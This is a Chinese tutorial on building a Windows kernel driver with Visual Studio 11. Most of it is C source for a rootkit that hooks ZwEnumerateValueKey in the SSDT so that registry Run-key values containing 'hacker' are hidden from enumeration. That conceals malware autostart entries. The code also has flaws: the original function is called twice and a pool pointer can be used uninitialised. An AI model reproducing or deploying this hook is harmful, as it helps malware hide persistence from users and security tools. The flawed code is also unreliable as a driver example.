用Visual studio11在Windows8上开发内核驱动隐藏注册表

在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中,存在三种Device Driver:

  1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。

  2.“GDI Driver”,提供显示和打印所需的GDI函数。

  3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

 

 

Visual studio11与Windows8带来格外不同的新体验

 

1.启动Vs11

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第1张图片

2.看见满目的驱动开发模板

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第2张图片

3.选择一个驱动模式,有内核模式与用户模式两种的驱动

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第3张图片

 

4.创建一个驱动程序,KMDF DriverMVP

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第4张图片

 

5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第5张图片

6.按下F5,选择驱动编译,

 

用Visual studio11在Windows8上开发内核驱动隐藏注册表_第6张图片


插入下列代码实现ring0层隐藏注册表,请见代码分析

#include <ntddk.h>

extern NTSYSAPI NTSTATUS NTAPI 
ObQueryNameString(
	IN PVOID  Object,
	OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,
	IN ULONG  Length,
	OUT PULONG  ReturnLength
    );

extern NTSYSAPI NTSTATUS NTAPI 
ZwEnumerateValueKey(
	IN HANDLE  KeyHandle,
	IN ULONG  Index,
	IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
	OUT PVOID  KeyValueInformation,
	IN ULONG  Length,
	OUT PULONG  ResultLength
    );

//声明原有的函数
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
		IN HANDLE  KeyHandle,
		IN ULONG  Index,
		IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
		OUT PVOID  KeyValueInformation,
		IN ULONG  Length,
		OUT PULONG  ResultLength
		);

//定义原函数的指针
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;

//我们HOOK的函数
NTSTATUS HookZwEnumerateValueKey(
		 IN HANDLE  KeyHandle,
		 IN ULONG  Index,
		 IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
		 OUT PVOID  KeyValueInformation,
		 IN ULONG  Length,
		 OUT PULONG  ResultLength
		 );

PCWSTR HideValue = L"hacker";

// SYSTEMSERVICE 的定义 
typedef struct ServiceDescriptorEntry 
{
    unsigned int * ServiceTableBase;    // 关键字段, 指向系统服务分发例程的基地址     
    unsigned int * ServiceCounterTableBase; 
    unsigned int NumberOfServices; 
    unsigned char * ParamTableBase; 
} 
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; 
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

PVOID GetPointer( HANDLE handle )
{
    PVOID pKey;
    if(!handle) 
		return NULL;
    // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
    if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) 
    {
        pKey = NULL;
    } 
    return pKey;
}

NTSTATUS 
HookZwEnumerateValueKey(
	IN HANDLE  KeyHandle,
	IN ULONG  Index,
	IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
	OUT PVOID  KeyValueInformation,
	IN ULONG  Length,
	OUT PULONG  ResultLength
)
{


	PVOID pKey;
	UNICODE_STRING *pUniName;
	ULONG actualLen;
	ANSI_STRING keyname;
	NTSTATUS status;
	UNICODE_STRING uStrValueName;
	PCWSTR ValueName;
	
	status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
								 KeyHandle,
								 Index,
								 KeyValueInformationClass,
								 KeyValueInformation,
								 Length,
								 ResultLength );

    //得到文件对象的指针
	if(pKey = GetPointer( KeyHandle))
	{
		//分配内存
		pUniName = ExAllocatePool(NonPagedPool, 1024*2);
		pUniName->MaximumLength = 512*2;

		//将pUniName里的内容清空
		memset(pUniName,0,pUniName->MaximumLength); 
		
		//得到注册表项的路径
		if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
		{
			RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
			keyname.Buffer=_strupr(keyname.Buffer);
			
			//判断是不是Run项
			if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
			{
				switch (KeyValueInformationClass)
				{
				case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
					ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
					break;
				case KeyValueFullInformation:  //KEY_VALUE_FULL_INFORMATION
					ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
					break;
				}
							
				//判断ValueName里的值是否有hacker
				//如果有则将函数返回STATUS_ACCESS_DENIED
				if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
				{
					DbgPrint("Hide Value\n");
					RtlFreeAnsiString(&keyname); 
					//释放内存
					if(pUniName)
					{
						ExFreePool(pUniName); 
					}
					return STATUS_ACCESS_DENIED;
				}
				
			}

		}
	}
	status = RealZwEnumerateValueKey(KeyHandle,
									Index,
									KeyValueInformationClass,
									KeyValueInformation,
									Length,
									ResultLength);
	if(pUniName)
	{
		ExFreePool(pUniName); 
	}
	
	return(status);

}

VOID 
  DriverUnload( 
    IN PDRIVER_OBJECT  DriverObject 
    )
{
	DbgPrint("驱动已经停止了\n");
	(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}

NTSTATUS 
  DriverEntry( 
    IN PDRIVER_OBJECT  DriverObject, 
    IN PUNICODE_STRING  RegistryPath 
    )
{

	DbgPrint("驱动已经加载了\n");

	RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
    (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; 

	DriverObject->DriverUnload = DriverUnload;
	return STATUS_SUCCESS;
}



你可能感兴趣的:(用Visual studio11在Windows8上开发内核驱动隐藏注册表)